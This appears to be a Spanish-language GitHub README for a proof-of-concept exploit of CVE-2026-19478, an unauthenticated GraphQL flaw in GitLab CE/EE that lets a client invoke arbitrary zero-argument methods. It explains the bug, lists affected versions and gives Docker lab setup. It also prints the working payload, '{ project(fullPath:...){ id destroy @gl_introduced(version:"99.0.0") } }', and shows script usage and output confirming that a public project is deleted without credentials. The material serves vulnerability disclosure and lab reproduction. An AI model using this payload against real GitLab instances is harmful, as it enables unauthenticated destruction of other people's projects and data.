
Prueba de concepto de exploit para CVE-2026-19478, una inyección GraphQL no autenticada en GitLab CE/EE que permite la invocación arbitraria de métodos y la eliminación de proyectos.
★ CVE-2026-19478 PoC de invocación arbitraria de métodos no autenticada mediante @gl_introduced en GitLab GraphQL ★
https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b
CVE-2026-19478 es una vulnerabilidad de manipulación/eliminación de datos no autenticada en GitLab CE/EE (CVSS 9.4). GitLab incluye una directiva de cliente GraphQL
@gl_introduced(version: "X.Y.Z")para compatibilidad directa en despliegues progresivos. Cuando una consulta nombra un campo con una versión más reciente que la del servidor en ejecución, un trazador lo elimina antes de la validación estática, de modo que la consulta se valida y, en la ejecución, el campo desconocido se resuelve mediante un campo de respaldo que no tiene resolver. En graphql-ruby, un campo sin resolver se resuelve llamando aobject.public_send(field_name)— por lo que el cliente puede nombrar un campo igual a cualquier método sin argumentos del objeto actualmente resuelto, y el servidor lo invoca. Resolver un proyecto público y solicitar un "campo futuro" llamado ejecuta por tanto — eliminando un proyecto público (o modificando datos de usuario) .
destroyProject#destroy| Categoría | Versión |
|---|---|
| Vulnerables | GitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3 |
| Corregidas | 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 o posteriores |
Resolvers::NilResolver (devuelve nil, nunca invoca un método)Construye y ejecuta el GitLab vulnerable. Se autoinicializa con un repositorio público victim/demo que puedes
eliminar sin autenticación. GitLab tarda ~3–5 minutos en terminar de reconfigurarse e inicializarse.
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
| Precondición | Estado en este laboratorio |
|---|---|
| GitLab 18.2 – 19.2.3 | 19.2.2 |
| Un proyecto público accesible anónimamente | victim/demo (inicializado) |
| Endpoint GraphQL no autenticado accesible | /api/graphql expuesto |
El exploit gitlab_exploit.py elimina cualquier repositorio público al que lo apuntes, sin
credenciales. Envía la carga útil @gl_introduced que convierte el nombre de campo GraphQL destroy
en una llamada a Project#destroy y, a continuación, confirma la eliminación mediante la API REST (404).
# python3 gitlab_exploit.py <ip:puerto del objetivo> --repo <grupo/nombre>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
[*] objetivo ......... http://172.17.0.2:3000
[*] ANTES (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200 (existe)
[*] CARGA ÚTIL (sin auth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] respuesta ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] esperando a que termine la eliminación asíncrona ...
[+] DESPUÉS (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] ÉXITO - la solicitud NO AUTENTICADA ELIMINÓ 'victim/demo'. CVE-2026-19478 demostrado.
Opciones:
--detect — comprobación segura y no destructiva (invoca el método inofensivo to_param en lugar de destroy)--repo grupo/nombre — apunta a cualquier proyecto público de la instancia--insecure — omite la verificación TLS para objetivos https://@gl_introduced / la ruta de filtrado por versión en un proxy inverso, o restringe el acceso no autenticado a /api/graphql